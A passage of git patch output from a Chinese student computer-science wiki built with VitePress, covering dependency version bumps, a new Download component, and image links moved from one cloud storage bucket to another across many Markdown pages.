"@jupyterlab/mathjax2": "^3.6.4", "@jupyterlab/theme-light-extension": "^4.0.2", "markdown-it": "^13.0.1" @@ -14,7 +14,7 @@ "devDependencies": { "cross-env": "^7.0.3", "markdown-it-mathjax3": "^4.3.2", - "vitepress": "^1.0.0-beta.2" + "vitepress": "^1.0.0-beta.3" } }, "node_modules/@algolia/autocomplete-core": { @@ -232,9 +232,9 @@ } }, "node_modules/@codemirror/lang-sql": { - "version": "6.5.0", - "resolved": "https://registry.npmmirror.com/@codemirror/lang-sql/-/lang-sql-6.5.0.tgz", - "integrity": "sha512-ztJ+5lk0yWf4E7sQQqsidPYJa0a/511Ln/IaI3A+fGv6z0SrGDG0Lu6SAehczcehrhgNwMhPlerJMeXw7vZs2g==", + "version": "6.5.2", + "resolved": "https://registry.npmmirror.com/@codemirror/lang-sql/-/lang-sql-6.5.2.tgz", + "integrity": "sha512-VYiCbApDDRUVx3k0jtZ+b5h2hMkMKZpPR9tx+VgVA3Euuf2MVjVsjx/S2+4AlJjKjS5J6z9+4bEvtponK96e4A==", "dependencies": { "@codemirror/autocomplete": "^6.0.0", "@codemirror/language": "^6.0.0", @@ -2734,9 +2734,9 @@ } }, "node_modules/vitepress": { - "version": "1.0.0-beta.2", - "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-beta.2.tgz", - "integrity": "sha512-DBXYjtYbm3W1IPPJ2TiCaK/XK+o/2XmL2+jslOGKm+txcbmG0kbeB+vadC5tCUZA9NdA+9Ywj3M4548c7t/SDg==", + "version": "1.0.0-beta.3", + "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-beta.3.tgz", + "integrity": "sha512-GR5Pvr/o343NN1M4Na1shhDYZRrQbjmLq7WE0lla0H8iDPAsHE8agTHLWfu3FWx+3q2KA29sv16+0O9RQKGjlA==", "dev": true, "dependencies": { "@docsearch/css": "^3.5.0", @@ -3109,9 +3109,9 @@ } }, "@codemirror/lang-sql": { - "version": "6.5.0", - "resolved": "https://registry.npmmirror.com/@codemirror/lang-sql/-/lang-sql-6.5.0.tgz", - "integrity": "sha512-ztJ+5lk0yWf4E7sQQqsidPYJa0a/511Ln/IaI3A+fGv6z0SrGDG0Lu6SAehczcehrhgNwMhPlerJMeXw7vZs2g==", + "version": "6.5.2", + "resolved": "https://registry.npmmirror.com/@codemirror/lang-sql/-/lang-sql-6.5.2.tgz", + "integrity": "sha512-VYiCbApDDRUVx3k0jtZ+b5h2hMkMKZpPR9tx+VgVA3Euuf2MVjVsjx/S2+4AlJjKjS5J6z9+4bEvtponK96e4A==", "requires": { "@codemirror/autocomplete": "^6.0.0", "@codemirror/language": "^6.0.0", @@ -5036,9 +5036,9 @@ } }, "vitepress": { - "version": "1.0.0-beta.2", - "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-beta.2.tgz", - "integrity": "sha512-DBXYjtYbm3W1IPPJ2TiCaK/XK+o/2XmL2+jslOGKm+txcbmG0kbeB+vadC5tCUZA9NdA+9Ywj3M4548c7t/SDg==", + "version": "1.0.0-beta.3", + "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-beta.3.tgz", + "integrity": "sha512-GR5Pvr/o343NN1M4Na1shhDYZRrQbjmLq7WE0lla0H8iDPAsHE8agTHLWfu3FWx+3q2KA29sv16+0O9RQKGjlA==", "dev": true, "requires": { "@docsearch/css": "^3.5.0", diff --git a/package.json b/package.json index 200be1e..22376a3 100644 --- a/package.json +++ b/package.json @@ -6,7 +6,7 @@ }, "dependencies": { "@codemirror/lang-python": "^6.1.3", - "@codemirror/lang-sql": "^6.5.0", + "@codemirror/lang-sql": "^6.5.2", "@jupyterlab/mathjax2": "^3.6.4", "@jupyterlab/theme-light-extension": "^4.0.2", "markdown-it": "^13.0.1" @@ -14,6 +14,6 @@ "devDependencies": { "cross-env": "^7.0.3", "markdown-it-mathjax3": "^4.3.2", - "vitepress": "^1.0.0-beta.2" + "vitepress": "^1.0.0-beta.3" } } \ No newline at end of file From 03e6d417c448afb7f3f33a2b0563f800d08f8492 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sat, 1 Jul 2023 23:03:21 +0800 Subject: [PATCH 12/85] chore: update dependencies --- package-lock.json | 18 +++++++++--------- package.json | 2 +- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/package-lock.json b/package-lock.json index 927c865..1ef3b50 100644 --- a/package-lock.json +++ b/package-lock.json @@ -7,7 +7,7 @@ "dependencies": { "@codemirror/lang-python": "^6.1.3", "@codemirror/lang-sql": "^6.5.2", - "@jupyterlab/mathjax2": "^3.6.4", + "@jupyterlab/mathjax2": "^3.6.5", "@jupyterlab/theme-light-extension": "^4.0.2", "markdown-it": "^13.0.1" }, @@ -858,11 +858,11 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/mathjax2": { - "version": "3.6.4", - "resolved": "https://registry.npmmirror.com/@jupyterlab/mathjax2/-/mathjax2-3.6.4.tgz", - "integrity": "sha512-NQKt/u51svG719aIBLipcEopaZNBNuxzzR+J9NNiLTLHT+3Z6iq1N+vs3h9aN2jYyOwtboZesZ2AtGK7KQ/OrA==", + "version": "3.6.5", + "resolved": "https://registry.npmmirror.com/@jupyterlab/mathjax2/-/mathjax2-3.6.5.tgz", + "integrity": "sha512-TBVhwxzKyCy+Qg4J8Vtryctay4zhd0NfBOWMfpDW2gEIRk+uHdLEZNovsuY3XivH2Rv+Y873aBPR8vGsylYV+Q==", "dependencies": { - "@jupyterlab/rendermime-interfaces": "^3.6.4", + "@jupyterlab/rendermime-interfaces": "^3.6.5", "@lumino/coreutils": "^1.11.0" } }, @@ -3504,11 +3504,11 @@ } }, "@jupyterlab/mathjax2": { - "version": "3.6.4", - "resolved": "https://registry.npmmirror.com/@jupyterlab/mathjax2/-/mathjax2-3.6.4.tgz", - "integrity": "sha512-NQKt/u51svG719aIBLipcEopaZNBNuxzzR+J9NNiLTLHT+3Z6iq1N+vs3h9aN2jYyOwtboZesZ2AtGK7KQ/OrA==", + "version": "3.6.5", + "resolved": "https://registry.npmmirror.com/@jupyterlab/mathjax2/-/mathjax2-3.6.5.tgz", + "integrity": "sha512-TBVhwxzKyCy+Qg4J8Vtryctay4zhd0NfBOWMfpDW2gEIRk+uHdLEZNovsuY3XivH2Rv+Y873aBPR8vGsylYV+Q==", "requires": { - "@jupyterlab/rendermime-interfaces": "^3.6.4", + "@jupyterlab/rendermime-interfaces": "^3.6.5", "@lumino/coreutils": "^1.11.0" } }, diff --git a/package.json b/package.json index 22376a3..cd44d0a 100644 --- a/package.json +++ b/package.json @@ -7,7 +7,7 @@ "dependencies": { "@codemirror/lang-python": "^6.1.3", "@codemirror/lang-sql": "^6.5.2", - "@jupyterlab/mathjax2": "^3.6.4", + "@jupyterlab/mathjax2": "^3.6.5", "@jupyterlab/theme-light-extension": "^4.0.2", "markdown-it": "^13.0.1" }, From 08fa485f6f25d2dbdaeb387afb2e74512e73d2a8 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sat, 1 Jul 2023 23:38:02 +0800 Subject: [PATCH 13/85] feat: add download components --- .vitepress/theme/index.js | 2 + ....1程序示例——maze迷宫解搜索.md | 4 ++ 4.人工智能/code/Read.md | 1 - components/Download.vue | 39 +++++++++++++++++++ 4 files changed, 45 insertions(+), 1 deletion(-) delete mode 100644 4.人工智能/code/Read.md create mode 100644 components/Download.vue diff --git a/.vitepress/theme/index.js b/.vitepress/theme/index.js index 9d3c570..9f551a4 100644 --- a/.vitepress/theme/index.js +++ b/.vitepress/theme/index.js @@ -2,6 +2,7 @@ import { h, watch } from 'vue' // import Theme from 'vitepress/theme' import DefaultTheme from 'vitepress/theme-without-fonts' +import Download from '../../components/Download.vue' import './style.css' import './rainbow.css' @@ -16,6 +17,7 @@ export default { }, enhanceApp(ctx) { DefaultTheme.enhanceApp(ctx) + ctx.app.component('Download', Download) if (typeof window === 'undefined') return diff --git a/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md b/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md index ad70497..4f7cc94 100644 --- a/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md +++ b/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md @@ -4,6 +4,10 @@ 完成习题 ::: +::: tip 📥 +本节附件下载 +::: + /4.人工智能/code/MAZE.zip # Node diff --git a/4.人工智能/code/Read.md b/4.人工智能/code/Read.md deleted file mode 100644 index 9bd0f06..0000000 --- a/4.人工智能/code/Read.md +++ /dev/null @@ -1 +0,0 @@ -这里存放示例代码和作业 diff --git a/components/Download.vue b/components/Download.vue new file mode 100644 index 0000000..2e163be --- /dev/null +++ b/components/Download.vue @@ -0,0 +1,39 @@ + + + + + From cd9d239d208dc3ea1c80b24624b376775482bff7 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sun, 2 Jul 2023 00:33:36 +0800 Subject: [PATCH 14/85] chore: change pic to cos --- 1.杭电生存指南/1.2竞赛指北.md | 2 +- 1.杭电生存指南/1.4小心项目陷阱.md | 4 +- .../1.7杭电出国自救指南.md | 4 +- 2.高效学习/2.1.2浮躁的心理状态.md | 2 +- 2.高效学习/2.1.3错误的提问姿态.md | 2 +- 2.高效学习/2.1.4书籍的盲目崇拜.md | 2 +- 2.高效学习/2.1.5错误的学习配比.md | 2 +- ...2.1高效的前提:摆脱高中思维.md | 2 +- 2.高效学习/2.2优雅的使用工具.md | 2 +- .../2.5以理工科的方式阅读英语.md | 2 +- 2.高效学习/2.高效学习.md | 2 +- ...——如何使用OJ(Online Judge).md | 30 ++++---- .../3.2.3ACM 竞赛从入门到入坟.md | 2 +- .../3.3如何选择编程语言.md | 4 +- .../3.4.1FAQ:常见问题.md | 4 +- .../3.4.2用什么写 C 语言.md | 38 +++++------ ...4.3解决编程问题的普适性过程.md | 4 +- .../3.4.4C语言前置概念学习.md | 2 +- .../3.4.5.1C语言自测标准——链表.md | 28 ++++---- ...3.4.6阶段二:文字冒险(cool).md | 2 +- .../3.4.7.1.1调试理论.md | 2 +- ....4.7.1GDB初探索(编程可阅览).md | 2 +- ....2C的历史问题:undefined behavior.md | 2 +- 3.编程思维体系构建/3.4C语言.md | 2 +- 3.编程思维体系构建/3.5git与github.md | 42 ++++++------ .../3.6.2环境配置.md | 10 +-- .../3.6.3安装python.md | 4 +- .../3.6.4.2阶段二:递归操作.md | 2 +- .../3.6.4.3阶段三:数据抽象.md | 2 +- .../3.6.5.1lab00:让我们开始吧.md | 16 ++--- ...ware的安装与安装Ubuntu22.04系统.md | 40 +++++------ .../3.Y.2WSL的安装.md | 4 +- .../3.编程思维体系构建.md | 2 +- ...智能系统 —— 从 LLMs 到 Agents.md | 26 +++---- .../4.12本章节内容的局限性.md | 2 +- 4.人工智能/4.1前言.md | 16 ++--- ...(AI)快速入门(quick start).md | 52 +++++++------- ....1程序示例——maze迷宫解搜索.md | 4 +- 4.人工智能/4.3.1搜索.md | 68 +++++++++---------- ...示例——命题逻辑与模型检测.md | 6 +- ...项目:扫雷,骑士与流氓问题.md | 12 ++-- 4.人工智能/4.3.2知识推理.md | 30 ++++---- 4.人工智能/4.3.3.1程序示例.md | 2 +- 4.人工智能/4.3.3.2项目:遗传.md | 2 +- 4.人工智能/4.3.3不确定性问题.md | 30 ++++---- ...人工智能导论及机器学习入门.md | 2 +- 4.人工智能/4.4FAQ:常见问题.md | 4 +- .../4.6.1工欲善其事,必先利其器.md | 32 ++++----- .../4.6.2你可能会需要的术语介绍.md | 4 +- .../4.6.3深度学习快速入门.md | 10 +-- 4.人工智能/4.6.4Pytorch安装.md | 6 +- .../4.6.5.1CV领域任务(研究目标).md | 12 ++-- 4.人工智能/4.6.5.2.1数据读取.md | 6 +- 4.人工智能/4.6.5.3.1AlexNet.md | 8 +-- 4.人工智能/4.6.5.3.2FCN.md | 4 +- 4.人工智能/4.6.5.3.3ResNet.md | 6 +- 4.人工智能/4.6.5.3.4UNet.md | 2 +- 4.人工智能/4.6.5.3.7还要学更多?.md | 4 +- 4.人工智能/4.6.5.4.1NeRF.md | 16 ++--- .../4.6.5.4.2NeRF的改进方向.md | 36 +++++----- ...4.6.5.4.3自制数据集的工具COLMAP.md | 26 +++---- .../4.6.5.5行人重识别(ReID).md | 4 +- ....6.6.1NLP领域任务(研究目标).md | 8 +-- .../4.6.6.2.2.3推荐系统实例.md | 6 +- .../4.6.6.2.2.4利用用户行为数据.md | 2 +- 4.人工智能/4.6.6.2.3序列化推荐.md | 2 +- 4.人工智能/4.6.6.2推荐系统.md | 2 +- 4.人工智能/4.6.7.1VIT.md | 6 +- 4.人工智能/4.6.7.2BERT.md | 4 +- 4.人工智能/4.6.7.3MAE.md | 4 +- 4.人工智能/4.6.8.1前言.md | 2 +- 4.人工智能/4.6.8.2Inst Disc.md | 8 +-- .../4.6.8.3定义正负样本的方式.md | 4 +- 4.人工智能/4.6.8.4MoCo.md | 10 +-- 4.人工智能/4.6.8.5SimCLR.md | 4 +- 4.人工智能/4.6.8.6SwAV.md | 4 +- 4.人工智能/4.6.8.7BYOL.md | 6 +- 4.人工智能/4.6.8.8SimSiam.md | 8 +-- 4.人工智能/4.6.8.9MoCo v3.md | 6 +- 4.人工智能/4.6.9.3基本概念介绍.md | 6 +- ...5.1嵌入式是什么?可以吃吗?.md | 4 +- .../5.2New meaning of C.md | 8 +-- .../5.3还玩裸机?上操作系统!.md | 6 +- .../5.富有生命的嵌入式.md | 2 +- 6.计算机安全/6.2.1SQL 注入.md | 46 ++++++------- .../6.3.2软件破解、软件加固.md | 2 +- 7.Web开发入门/7.1.1基础部分.md | 12 ++-- 7.Web开发入门/7.1.2进阶部分.md | 8 +-- .../7.1.5附录3:跨端开发.md | 34 +++++----- 7.Web开发入门/7.Web开发入门.md | 2 +- 8.基础学科/8.2定积分.md | 6 +- 91 files changed, 462 insertions(+), 462 deletions(-) diff --git a/1.杭电生存指南/1.2竞赛指北.md b/1.杭电生存指南/1.2竞赛指北.md index 07a0127..fdf35a6 100644 --- a/1.杭电生存指南/1.2竞赛指北.md +++ b/1.杭电生存指南/1.2竞赛指北.md @@ -92,6 +92,6 @@ 由于笔者是创意组的,对其他组别不是很了解,就来介绍一下我们组别的情况。我们组别全称是智能车百度创意组,是由百度与鲸鱼机器人赞助的一个比较新的组别(目前是第三年,不过也开始卷起来了),该组别与传统组别的一个比较大的不同是对于硬件方面的要求并不高(但也是需要了解的,像 arduino ,stm32 这些稍微都得玩的起来),侧重会偏向软件算法方向。百度创意组总体分为两个阶段,线上赛和线下赛,线上赛的任务有点像是 kaggle 打榜,不过是百度官方命题,并且在飞浆平台上进行测试的,本质考验的就是你对神经网络的理解和调参(炼丹),如下图所示 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnQe2AYHX93NUz6Sfoq3hUPd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnQe2AYHX93NUz6Sfoq3hUPd.png) diff --git a/1.杭电生存指南/1.4小心项目陷阱.md b/1.杭电生存指南/1.4小心项目陷阱.md index d624f64..3eee61b 100644 --- a/1.杭电生存指南/1.4小心项目陷阱.md +++ b/1.杭电生存指南/1.4小心项目陷阱.md @@ -1,6 +1,6 @@ # 小心项目陷阱 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnPmQ725zYTxiyo2LqQkphib.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPmQ725zYTxiyo2LqQkphib.png) ## 辨别项目质量 @@ -52,7 +52,7 @@ 但是大家参与之前你一定要想你的能力是否等于这个项目的量级,一般情况下,要么你技术特别强,要么可能会存在一定的问题。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnPSolGcUy1R0Dk2FUhPaLLc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPSolGcUy1R0Dk2FUhPaLLc.png) 所以说,还是那句话,小心甄别。 diff --git a/1.杭电生存指南/1.7杭电出国自救指南.md b/1.杭电生存指南/1.7杭电出国自救指南.md index 15aa6df..c4ecbcc 100644 --- a/1.杭电生存指南/1.7杭电出国自救指南.md +++ b/1.杭电生存指南/1.7杭电出国自救指南.md @@ -6,13 +6,13 @@ ## 序言:一组数据看出国 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcndFjrKQMhZJsH1vN1fEfaQb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndFjrKQMhZJsH1vN1fEfaQb.png) 点开图片可以看到左边是西交利物浦的出国数据,中间是杭电的数据,右边是成都电子科技大学的数据,可以看出西交利物浦每年去名校的数量大概是杭电一年的 20-40 倍,成电是杭电的一年的 10 倍左右,杭电出国数据实际上只有寥寥几个名校,剩下的则是一些英国院校。 这其中原因除了杭电高性价比的就业环境,双非院校选择出国深造的人数较低,我认为比较还有一点则是信息差。优秀的大学都有他们自己的飞跃手册,其中会介绍每个国家的优劣,以及申请的一些注意事项,详见下图。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnKMzGr9LSrXWmKxa1lSM1zJ.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnKMzGr9LSrXWmKxa1lSM1zJ.png) 优越的校友资源和前人留下的数据和方案,加下信息差的叠加,就像符合幂律分布的无标度网络一样,只会让我们的差距越来越大,在感叹其他学校飞跃手册的优越性的同时也发现了一些不可参考性,因为在其中也存在着很多问题,在这些学校中,可能名校读博就是老师写个推荐信就有了面试的机会,可能去港大 / G5 就是大学四年均分 80 分的难度。有很多资料在不同的角度,我们很难参考,所以我不经会想问?那我们呢,我们考多少多少分能够去什么学校,我们想要直博应该怎么准备,所以我打算完成这份出国留学的手册,能够为学弟学妹们铺路,同样希望后面也能够有学弟学妹做完善和补充。 diff --git a/2.高效学习/2.1.2浮躁的心理状态.md b/2.高效学习/2.1.2浮躁的心理状态.md index d6a1fa6..8924d13 100644 --- a/2.高效学习/2.1.2浮躁的心理状态.md +++ b/2.高效学习/2.1.2浮躁的心理状态.md @@ -26,4 +26,4 @@ 如果实在不行,来找 ZZM 聊聊吧。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg) diff --git a/2.高效学习/2.1.3错误的提问姿态.md b/2.高效学习/2.1.3错误的提问姿态.md index 028fbd2..5efd12d 100644 --- a/2.高效学习/2.1.3错误的提问姿态.md +++ b/2.高效学习/2.1.3错误的提问姿态.md @@ -28,7 +28,7 @@ 问题还是没有解决,现在我该怎么做? -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnhuhE7qBLHyJKaesHGC033b.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhuhE7qBLHyJKaesHGC033b.png) 欢迎大家阅读 diff --git a/2.高效学习/2.1.4书籍的盲目崇拜.md b/2.高效学习/2.1.4书籍的盲目崇拜.md index d927702..e97b01c 100644 --- a/2.高效学习/2.1.4书籍的盲目崇拜.md +++ b/2.高效学习/2.1.4书籍的盲目崇拜.md @@ -6,7 +6,7 @@ "我们要学 C 语言,我买一本大黑书看看!" -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnqsCWmUTDr5UDLYca9YkhHh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnqsCWmUTDr5UDLYca9YkhHh.png) 诚然,上面的各种书写的非常好,但是我们需要思考的是,阅读这些真的能达到我们想要的目标吗??? diff --git a/2.高效学习/2.1.5错误的学习配比.md b/2.高效学习/2.1.5错误的学习配比.md index 806812d..06ea6a0 100644 --- a/2.高效学习/2.1.5错误的学习配比.md +++ b/2.高效学习/2.1.5错误的学习配比.md @@ -18,4 +18,4 @@ 在你完成这份讲义的时候,希望你可以有选择的阅览一部分,然后带着问题去看某些课,效率也会高很多。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg) diff --git a/2.高效学习/2.1高效的前提:摆脱高中思维.md b/2.高效学习/2.1高效的前提:摆脱高中思维.md index ad381b2..0bfa9f6 100644 --- a/2.高效学习/2.1高效的前提:摆脱高中思维.md +++ b/2.高效学习/2.1高效的前提:摆脱高中思维.md @@ -14,7 +14,7 @@ 并且,全部依赖他人给你指明方向的人生已经结束了! -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcne9EK3xz8LHOXfM8w9ih5Ig.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcne9EK3xz8LHOXfM8w9ih5Ig.png) 你无法依赖大学里的老师还是家里的父母来为你指明所谓的方向,你的人生只属于你自己,你的道路也只能由你自己来思考。 diff --git a/2.高效学习/2.2优雅的使用工具.md b/2.高效学习/2.2优雅的使用工具.md index 81278a0..a5a5146 100644 --- a/2.高效学习/2.2优雅的使用工具.md +++ b/2.高效学习/2.2优雅的使用工具.md @@ -48,7 +48,7 @@ rm coreutils-8.32 coreutils-8.32.tar.xz - [MarkText](https://github.com/marktext/marktext) 免费的 平替 Typora (?)感觉不太好用 😤 - [思源笔记](https://b3log.org/siyuan/) 一个国产开源的笔记/知识库软件,优势是 本地化、双链、Markdown 语法,与 Obsidian 定位相似,但 Geek 成分和自定义空间相对更高 - [Zotero](https://www.zotero.org/):协助文献阅读还有写笔记,支持与平板同传(同时他是开源的,所以可以添加一些插件) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnO1PEsVd4KY7reeU64spShf.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnO1PEsVd4KY7reeU64spShf.jpg) - [Notion](http://notion.so): 笔记终结者,非常强大,(设计理念被钉钉,飞书,我来非常抄袭)。在线就可以使用。唯一的缺点是可能需要科学上网。 ## 文献辅助阅读工具 diff --git a/2.高效学习/2.5以理工科的方式阅读英语.md b/2.高效学习/2.5以理工科的方式阅读英语.md index 86f943d..dc393c5 100644 --- a/2.高效学习/2.5以理工科的方式阅读英语.md +++ b/2.高效学习/2.5以理工科的方式阅读英语.md @@ -2,7 +2,7 @@ 作为一名理工科学生,也许英语并不是你的强势,但往往学习又难以避开英语。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/G6zAbGrTKoBLsfxhmvHcUBVynpc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/G6zAbGrTKoBLsfxhmvHcUBVynpc.png) 下面提供一些英语阅读的方法: diff --git a/2.高效学习/2.高效学习.md b/2.高效学习/2.高效学习.md index 0005ea1..630cd4c 100644 --- a/2.高效学习/2.高效学习.md +++ b/2.高效学习/2.高效学习.md @@ -41,7 +41,7 @@ Search the "friendly" website # 如果真的不知道怎么解决怎么办? -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg) 来细看看本章节的内容吧! diff --git a/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge).md b/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge).md index 6758252..8560f2f 100644 --- a/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge).md +++ b/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge).md @@ -6,7 +6,7 @@ 进入 [https://www.luogu.com.cn/](https://www.luogu.com.cn/) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing1.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing1.png) ## 社交模块 @@ -16,11 +16,11 @@ 点开题库,我们看见以下界面 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing2.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing2.png) 在上方我们可以筛选我们想要的题目,接下来我们点开 P1000 为例 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing3.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing3.png) 右侧三个模块为折叠状态,下面介绍他们的作用 @@ -34,7 +34,7 @@ 点击提交答案 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing4.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing4.png) 左侧可以选择语言类型,C++ 用户建议选择 C++14。 @@ -44,7 +44,7 @@ O2 优化是一种优化(废话)假如您的代码复杂度正确但 TLE, 怎么知道自己代码的问题出在哪里呢?记录模块是帮助你的好工具。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing5.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing5.png) AC:通过该数据点 @@ -64,7 +64,7 @@ OLE:输出超限 放心你见不到的 点开侧栏题单 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing6.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing6.png) 建议新手从官方精选题单开始,由浅入深,由简到难。等到对算法形成概念,针对漏洞补习时可以尝试用户分享题单(到那个阶段已经有很多手段去找题了,刘教练的题单就够你做了) @@ -76,7 +76,7 @@ OLE:输出超限 放心你见不到的 进入 [https://codeforces.com/?locale=en](https://codeforces.com/?locale=en) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing7.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing7.png) 比起 Luogu,这样的 UI 设计离 CN 互联网已经很远了(然而比起更硬核的一些做题网站,CF 的 UI 真是越看越顺眼) @@ -100,7 +100,7 @@ OLE:输出超限 放心你见不到的 进入比赛页面 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing8.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing8.png) 上方为将举办比赛,显示开始时间(UTC+8 也就是我们时区的时间)和持续时间大多都开始的比较晚,例如笔者就没有这么晚学习的习惯,所以一般赛后写题。比赛分为以下几种类型(例如写在括号里的 Div.2) @@ -114,14 +114,14 @@ Div.1、Div.2、Div.3、Div.4 数字越小难度越大。 ## VP -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing9.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing9.png) 这是一场笔者之前赛后补过的 Div.2,画面右下角分别为赛后公告和题解,右侧便是开启 VP 的按钮。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing10.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing10.png) VP模拟赛时的好处就是在虚拟参赛中获得真实比赛才能积累的经验,比如这里笔者发现通过前三题后,我应该先去看看 F 题,因为做出来的人更多,我有更大的可能性做出来,ACM 中题目并不是 100% 按难度排序。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing11.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing11.png) 进入 VP 后,我们可以发现比起正常赛后补题有了明显不同。 @@ -135,25 +135,25 @@ Div.1、Div.2、Div.3、Div.4 数字越小难度越大。 让我们点开 A 题,来看看如何提交答案 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing12.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing12.png) 可以看见,右侧有一个 submit,与 luogu 不同的是,你需要上传源代码文件(如 cpp)然后选择 G++17 为语言,提交。 当然,你也可以点开上侧的 submit code -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing13.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing13.png) 选择题目、语言,填写代码后提交,就和 Luogu 的方式一样了。 同样,在上侧 MY SUBMISSIONS 处可以查看已提交的代码和状态 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing14.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing14.png) ## PROBLEMSET 同样,CF 也有题库 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wenjing15.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing15.png) 如果你只想做某道题而不是某场比赛,这里也许更适合你。 diff --git a/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟.md b/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟.md index 8646219..6ce1658 100644 --- a/3.编程思维体系构建/3.2.3ACM 